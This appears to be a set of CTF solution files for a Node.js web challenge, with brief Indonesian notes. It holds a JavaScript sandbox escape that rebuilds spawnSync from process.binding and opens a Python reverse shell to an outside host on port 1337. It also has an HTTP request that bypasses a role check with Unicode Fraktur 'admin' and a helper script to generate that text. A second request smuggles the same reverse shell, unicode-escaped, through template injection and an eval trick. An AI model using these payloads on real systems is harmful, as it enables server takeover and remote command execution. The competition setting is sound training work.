ambara_jees.js

spawn_sync = this.process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}

// Defines spawnSync, the function that will do the actual spawning
spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}

var resp = spawnSync('python3', ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("redtim.ngawi.go.id",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);']);
console.log(resp.stdout);
console.log(resp.stderr);

bypass_profile.http

POST /profile HTTP/1.1
Host: chall-ctf.ara-its.id:21291
Content-Length: 25
Cache-Control: max-age=0
Origin: http://chall-ctf.ara-its.id:21291
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://chall-ctf.ara-its.id:21291/profile
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,id;q=0.8,nb;q=0.7
Cookie: connect.sid=s%3AqpOuzAVqe0c_LXTpeVzjPJijQuerW_8s.ZdpU7Gc8q1IdL7WZY99Piu01yvQOg%2F4Ls13y%2Bytzq2M;
Connection: keep-alive

role=𝖆𝖉𝖒𝖎𝖓

bypass_role.py

# Mapping of ASCII to Mathematical Bold Fraktur
ASCII_TO_MATH_BOLD_FRAKTUR = {
    'a': '𝖆', 'b': '𝖇', 'c': '𝖈', 'd': '𝖉', 'e': '𝖊', 'f': '𝖋', 'g': '𝖌', 'h': '𝖍', 'i': '𝖎',
    'j': '𝖏', 'k': '𝖐', 'l': '𝖑', 'm': '𝖒', 'n': '𝖓', 'o': '𝖔', 'p': '𝖕', 'q': '𝖖', 'r': '𝖗',
    's': '𝖘', 't': '𝖙', 'u': '𝖚', 'v': '𝖛', 'w': '𝖜', 'x': '𝖝', 'y': '𝖞', 'z': '𝖟',
    'A': '𝕬', 'B': '𝕭', 'C': '𝕮', 'D': '𝕯', 'E': '𝕰', 'F': '𝕱', 'G': '𝕲', 'H': '𝕳', 'I': '𝕴',
    'J': '𝕵', 'K': '𝕶', 'L': '𝕷', 'M': '𝕸', 'N': '𝕹', 'O': '𝕺', 'P': '𝕻', 'Q': '𝕼', 'R': '𝕽',
    'S': '𝕾', 'T': '𝕿', 'U': '𝖀', 'V': '𝖁', 'W': '𝖂', 'X': '𝖃', 'Y': '𝖄', 'Z': '𝖅',
}

def convert_ascii_to_math_bold_fraktur(text):
    """
    Converts ASCII characters in the input text to their Mathematical Bold Fraktur equivalents.
    """
    result = []
    for char in text:
        # Check if the character is in the mapping
        if char in ASCII_TO_MATH_BOLD_FRAKTUR:
            result.append(ASCII_TO_MATH_BOLD_FRAKTUR[char])
        else:
            result.append(char)  # Keep non-alphabetic characters as-is
    return ''.join(result)

# Example Usage
input_text = input("Enter text to convert to Mathematical Bold Fraktur: ")
output_text = convert_ascii_to_math_bold_fraktur(input_text)
print(f"Input:  {input_text}")
print(f"Output: {output_text}")

ngadmin.http

POST /admin/ HTTP/1.1
Host: chall-ctf.ara-its.id:21291
Content-Length: 10484
Cache-Control: max-age=0
Origin: http://chall-ctf.ara-its.id:21291
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://chall-ctf.ara-its.id:21291/profile
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,id;q=0.8,nb;q=0.7
Cookie: connect.sid=s%3AqpOuzAVqe0c_LXTpeVzjPJijQuerW_8s.ZdpU7Gc8q1IdL7WZY99Piu01yvQOg%2F4Ls13y%2Bytzq2M;
Connection: keep-alive

name=#{'\u0073\u0070\u0061\u0077\u006E\u005F\u0073\u0079\u006E\u0063\u0020\u003D\u0020\u0074\u0068\u0069\u0073\u002E\u0070\u0072\u006F\u0063\u0065\u0073\u0073\u002E\u0062\u0069\u006E\u0064\u0069\u006E\u0067\u0028\u0027\u0073\u0070\u0061\u0077\u006E\u005F\u0073\u0079\u006E\u0063\u0027\u0029\u003B\u0020\u006E\u006F\u0072\u006D\u0061\u006C\u0069\u007A\u0065\u0053\u0070\u0061\u0077\u006E\u0041\u0072\u0067\u0075\u006D\u0065\u006E\u0074\u0073\u0020\u003D\u0020\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0028\u0063\u002C\u0062\u002C\u0061\u0029\u007B\u0069\u0066\u0028\u0041\u0072\u0072\u0061\u0079\u002E\u0069\u0073\u0041\u0072\u0072\u0061\u0079\u0028\u0062\u0029\u003F\u0062\u003D\u0062\u002E\u0073\u006C\u0069\u0063\u0065\u0028\u0030\u0029\u003A\u0028\u0061\u003D\u0062\u002C\u0062\u003D\u005B\u005D\u0029\u002C\u0061\u003D\u003D\u003D\u0075\u006E\u0064\u0065\u0066\u0069\u006E\u0065\u0064\u0026\u0026\u0028\u0061\u003D\u007B\u007D\u0029\u002C\u0061\u003D\u004F\u0062\u006A\u0065\u0063\u0074\u002E\u0061\u0073\u0073\u0069\u0067\u006E\u0028\u007B\u007D\u002C\u0061\u0029\u002C\u0061\u002E\u0073\u0068\u0065\u006C\u006C\u0029\u007B\u0063\u006F\u006E\u0073\u0074\u0020\u0067\u003D\u005B\u0063\u005D\u002E\u0063\u006F\u006E\u0063\u0061\u0074\u0028\u0062\u0029\u002E\u006A\u006F\u0069\u006E\u0028\u0027\u0020\u0027\u0029\u003B\u0074\u0079\u0070\u0065\u006F\u0066\u0020\u0061\u002E\u0073\u0068\u0065\u006C\u006C\u003D\u003D\u003D\u0027\u0073\u0074\u0072\u0069\u006E\u0067\u0027\u003F\u0063\u003D\u0061\u002E\u0073\u0068\u0065\u006C\u006C\u003A\u0063\u003D\u0027\u002F\u0062\u0069\u006E\u002F\u0073\u0068\u0027\u002C\u0062\u003D\u005B\u0027\u002D\u0063\u0027\u002C\u0067\u005D\u003B\u007D\u0074\u0079\u0070\u0065\u006F\u0066\u0020\u0061\u002E\u0061\u0072\u0067\u0076\u0030\u003D\u003D\u003D\u0027\u0073\u0074\u0072\u0069\u006E\u0067\u0027\u003F\u0062\u002E\u0075\u006E\u0073\u0068\u0069\u0066\u0074\u0028\u0061\u002E\u0061\u0072\u0067\u0076\u0030\u0029\u003A\u0062\u002E\u0075\u006E\u0073\u0068\u0069\u0066\u0074\u0028\u0063\u0029\u003B\u0076\u0061\u0072\u0020\u0064\u003D\u0061\u002E\u0065\u006E\u0076\u007C\u007C\u0070\u0072\u006F\u0063\u0065\u0073\u0073\u002E\u0065\u006E\u0076\u003B\u0076\u0061\u0072\u0020\u0065\u003D\u005B\u005D\u003B\u0066\u006F\u0072\u0028\u0076\u0061\u0072\u0020\u0066\u0020\u0069\u006E\u0020\u0064\u0029\u0065\u002E\u0070\u0075\u0073\u0068\u0028\u0066\u002B\u0027\u003D\u0027\u002B\u0064\u005B\u0066\u005D\u0029\u003B\u0072\u0065\u0074\u0075\u0072\u006E\u007B\u0066\u0069\u006C\u0065\u003A\u0063\u002C\u0061\u0072\u0067\u0073\u003A\u0062\u002C\u006F\u0070\u0074\u0069\u006F\u006E\u0073\u003A\u0061\u002C\u0065\u006E\u0076\u0050\u0061\u0069\u0072\u0073\u003A\u0065\u007D\u003B\u007D\u000D\u000A\u000D\u000A\u002F\u002F\u0020\u0044\u0065\u0066\u0069\u006E\u0065\u0073\u0020\u0073\u0070\u0061\u0077\u006E\u0053\u0079\u006E\u0063\u002C\u0020\u0074\u0068\u0065\u0020\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020\u0074\u0068\u0061\u0074\u0020\u0077\u0069\u006C\u006C\u0020\u0064\u006F\u0020\u0074\u0068\u0065\u0020\u0061\u0063\u0074\u0075\u0061\u006C\u0020\u0073\u0070\u0061\u0077\u006E\u0069\u006E\u0067\u000D\u000A\u0073\u0070\u0061\u0077\u006E\u0053\u0079\u006E\u0063\u0020\u003D\u0020\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0028\u0029\u007B\u0076\u0061\u0072\u0020\u0064\u003D\u006E\u006F\u0072\u006D\u0061\u006C\u0069\u007A\u0065\u0053\u0070\u0061\u0077\u006E\u0041\u0072\u0067\u0075\u006D\u0065\u006E\u0074\u0073\u002E\u0061\u0070\u0070\u006C\u0079\u0028\u006E\u0075\u006C\u006C\u002C\u0061\u0072\u0067\u0075\u006D\u0065\u006E\u0074\u0073\u0029\u003B\u0076\u0061\u0072\u0020\u0061\u003D\u0064\u002E\u006F\u0070\u0074\u0069\u006F\u006E\u0073\u003B\u0076\u0061\u0072\u0020\u0063\u003B\u0069\u0066\u0028\u0061\u002E\u0066\u0069\u006C\u0065\u003D\u0064\u002E\u0066\u0069\u006C\u0065\u002C\u0061\u002E\u0061\u0072\u0067\u0073\u003D\u0064\u002E\u0061\u0072\u0067\u0073\u002C\u0061\u002E\u0065\u006E\u0076\u0050\u0061\u0069\u0072\u0073\u003D\u0064\u002E\u0065\u006E\u0076\u0050\u0061\u0069\u0072\u0073\u002C\u0061\u002E\u0073\u0074\u0064\u0069\u006F\u003D\u005B\u007B\u0074\u0079\u0070\u0065\u003A\u0027\u0070\u0069\u0070\u0065\u0027\u002C\u0072\u0065\u0061\u0064\u0061\u0062\u006C\u0065\u003A\u0021\u0030\u002C\u0077\u0072\u0069\u0074\u0061\u0062\u006C\u0065\u003A\u0021\u0031\u007D\u002C\u007B\u0074\u0079\u0070\u0065\u003A\u0027\u0070\u0069\u0070\u0065\u0027\u002C\u0072\u0065\u0061\u0064\u0061\u0062\u006C\u0065\u003A\u0021\u0031\u002C\u0077\u0072\u0069\u0074\u0061\u0062\u006C\u0065\u003A\u0021\u0030\u007D\u002C\u007B\u0074\u0079\u0070\u0065\u003A\u0027\u0070\u0069\u0070\u0065\u0027\u002C\u0072\u0065\u0061\u0064\u0061\u0062\u006C\u0065\u003A\u0021\u0031\u002C\u0077\u0072\u0069\u0074\u0061\u0062\u006C\u0065\u003A\u0021\u0030\u007D\u005D\u002C\u0061\u002E\u0069\u006E\u0070\u0075\u0074\u0029\u007B\u0076\u0061\u0072\u0020\u0067\u003D\u0061\u002E\u0073\u0074\u0064\u0069\u006F\u005B\u0030\u005D\u003D\u0075\u0074\u0069\u006C\u002E\u005F\u0065\u0078\u0074\u0065\u006E\u0064\u0028\u007B\u007D\u002C\u0061\u002E\u0073\u0074\u0064\u0069\u006F\u005B\u0030\u005D\u0029\u003B\u0067\u002E\u0069\u006E\u0070\u0075\u0074\u003D\u0061\u002E\u0069\u006E\u0070\u0075\u0074\u003B\u007D\u0066\u006F\u0072\u0028\u0063\u003D\u0030\u003B\u0063\u003C\u0061\u002E\u0073\u0074\u0064\u0069\u006F\u002E\u006C\u0065\u006E\u0067\u0074\u0068\u003B\u0063\u002B\u002B\u0029\u007B\u0076\u0061\u0072\u0020\u0065\u003D\u0061\u002E\u0073\u0074\u0064\u0069\u006F\u005B\u0063\u005D\u0026\u0026\u0061\u002E\u0073\u0074\u0064\u0069\u006F\u005B\u0063\u005D\u002E\u0069\u006E\u0070\u0075\u0074\u003B\u0069\u0066\u0028\u0065\u0021\u003D\u006E\u0075\u006C\u006C\u0029\u007B\u0076\u0061\u0072\u0020\u0066\u003D\u0061\u002E\u0073\u0074\u0064\u0069\u006F\u005B\u0063\u005D\u003D\u0075\u0074\u0069\u006C\u002E\u005F\u0065\u0078\u0074\u0065\u006E\u0064\u0028\u007B\u007D\u002C\u0061\u002E\u0073\u0074\u0064\u0069\u006F\u005B\u0063\u005D\u0029\u003B\u0069\u0073\u0055\u0069\u006E\u0074\u0038\u0041\u0072\u0072\u0061\u0079\u0028\u0065\u0029\u003F\u0066\u002E\u0069\u006E\u0070\u0075\u0074\u003D\u0065\u003A\u0066\u002E\u0069\u006E\u0070\u0075\u0074\u003D\u0042\u0075\u0066\u0066\u0065\u0072\u002E\u0066\u0072\u006F\u006D\u0028\u0065\u002C\u0061\u002E\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u0029\u003B\u007D\u007D\u0063\u006F\u006E\u0073\u006F\u006C\u0065\u002E\u006C\u006F\u0067\u0028\u0061\u0029\u003B\u0076\u0061\u0072\u0020\u0062\u003D\u0073\u0070\u0061\u0077\u006E\u005F\u0073\u0079\u006E\u0063\u002E\u0073\u0070\u0061\u0077\u006E\u0028\u0061\u0029\u003B\u0069\u0066\u0028\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u0026\u0026\u0061\u002E\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u0026\u0026\u0061\u002E\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u0021\u003D\u003D\u0027\u0062\u0075\u0066\u0066\u0065\u0072\u0027\u0029\u0066\u006F\u0072\u0028\u0063\u003D\u0030\u003B\u0063\u003C\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u002E\u006C\u0065\u006E\u0067\u0074\u0068\u003B\u0063\u002B\u002B\u0029\u007B\u0069\u0066\u0028\u0021\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u005B\u0063\u005D\u0029\u0063\u006F\u006E\u0074\u0069\u006E\u0075\u0065\u003B\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u005B\u0063\u005D\u003D\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u005B\u0063\u005D\u002E\u0074\u006F\u0053\u0074\u0072\u0069\u006E\u0067\u0028\u0061\u002E\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u0029\u003B\u007D\u0072\u0065\u0074\u0075\u0072\u006E\u0020\u0062\u002E\u0073\u0074\u0064\u006F\u0075\u0074\u003D\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u0026\u0026\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u005B\u0031\u005D\u002C\u0062\u002E\u0073\u0074\u0064\u0065\u0072\u0072\u003D\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u0026\u0026\u0062\u002E\u006F\u0075\u0074\u0070\u0075\u0074\u005B\u0032\u005D\u002C\u0062\u002E\u0065\u0072\u0072\u006F\u0072\u0026\u0026\u0028\u0062\u002E\u0065\u0072\u0072\u006F\u0072\u003D\u0020\u0062\u002E\u0065\u0072\u0072\u006F\u0072\u0020\u002B\u0020\u0027\u0073\u0070\u0061\u0077\u006E\u0053\u0079\u006E\u0063\u0020\u0027\u002B\u0064\u002E\u0066\u0069\u006C\u0065\u002C\u0062\u002E\u0065\u0072\u0072\u006F\u0072\u002E\u0070\u0061\u0074\u0068\u003D\u0064\u002E\u0066\u0069\u006C\u0065\u002C\u0062\u002E\u0065\u0072\u0072\u006F\u0072\u002E\u0073\u0070\u0061\u0077\u006E\u0061\u0072\u0067\u0073\u003D\u0064\u002E\u0061\u0072\u0067\u0073\u002E\u0073\u006C\u0069\u0063\u0065\u0028\u0031\u0029\u0029\u002C\u0062\u003B\u007D\u000D\u000A\u000D\u000A\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u0070\u0020\u003D\u0020\u0073\u0070\u0061\u0077\u006E\u0053\u0079\u006E\u0063\u0028\u0027\u0070\u0079\u0074\u0068\u006F\u006E\u0033\u0027\u002C\u0020\u005B\u0027\u002D\u0063\u0027\u002C\u0020\u0027\u0069\u006D\u0070\u006F\u0072\u0074\u0020\u0073\u006F\u0063\u006B\u0065\u0074\u002C\u0073\u0075\u0062\u0070\u0072\u006F\u0063\u0065\u0073\u0073\u002C\u006F\u0073\u003B\u0073\u003D\u0073\u006F\u0063\u006B\u0065\u0074\u002E\u0073\u006F\u0063\u006B\u0065\u0074\u0028\u0073\u006F\u0063\u006B\u0065\u0074\u002E\u0041\u0046\u005F\u0049\u004E\u0045\u0054\u002C\u0073\u006F\u0063\u006B\u0065\u0074\u002E\u0053\u004F\u0043\u004B\u005F\u0053\u0054\u0052\u0045\u0041\u004D\u0029\u003B\u0073\u002E\u0063\u006F\u006E\u006E\u0065\u0063\u0074\u0028\u0028\u0022\u0035\u0034\u002E\u0036\u0036\u002E\u0032\u0032\u002E\u0032\u0031\u0032\u0022\u002C\u0031\u0033\u0033\u0037\u0029\u0029\u003B\u006F\u0073\u002E\u0064\u0075\u0070\u0032\u0028\u0073\u002E\u0066\u0069\u006C\u0065\u006E\u006F\u0028\u0029\u002C\u0030\u0029\u003B\u006F\u0073\u002E\u0064\u0075\u0070\u0032\u0028\u0073\u002E\u0066\u0069\u006C\u0065\u006E\u006F\u0028\u0029\u002C\u0031\u0029\u003B\u006F\u0073\u002E\u0064\u0075\u0070\u0032\u0028\u0073\u002E\u0066\u0069\u006C\u0065\u006E\u006F\u0028\u0029\u002C\u0032\u0029\u003B\u0070\u003D\u0073\u0075\u0062\u0070\u0072\u006F\u0063\u0065\u0073\u0073\u002E\u0063\u0061\u006C\u006C\u0028\u005B\u0022\u002F\u0062\u0069\u006E\u002F\u0073\u0068\u0022\u002C\u0022\u002D\u0069\u0022\u005D\u0029\u003B\u0027\u005D\u0029\u003B\u000D\u000A\u0063\u006F\u006E\u0073\u006F\u006C\u0065\u002E\u006C\u006F\u0067\u0028\u0072\u0065\u0073\u0070\u002E\u0073\u0074\u0064\u006F\u0075\u0074\u0029\u003B\u000D\u000A\u0063\u006F\u006E\u0073\u006F\u006C\u0065\u002E\u006C\u006F\u0067\u0028\u0072\u0065\u0073\u0070\u002E\u0073\u0074\u0064\u0065\u0072\u0072\u0029\u003B'instanceof{[Symbol['hasInstance']]:global['\u0065\u0076\u0061\u006c']}}

encode ambara_jees.js di https://dencode.com/string/unicode-escape 😹😹😹

gg nt 😭

𝖆𝖉𝖒𝖎𝖓

https://www.netspi.com/blog/technical-blog/web-application-pentesting/escape-nodejs-sandboxes/
https://stackoverflow.com/questions/35949554/invoking-a-function-without-parentheses

https://gist.github.com/user-attachments/assets/0edd2a0d-47d8-4819-b46b-2d36cf1717e3
download it and rename the extension into .zip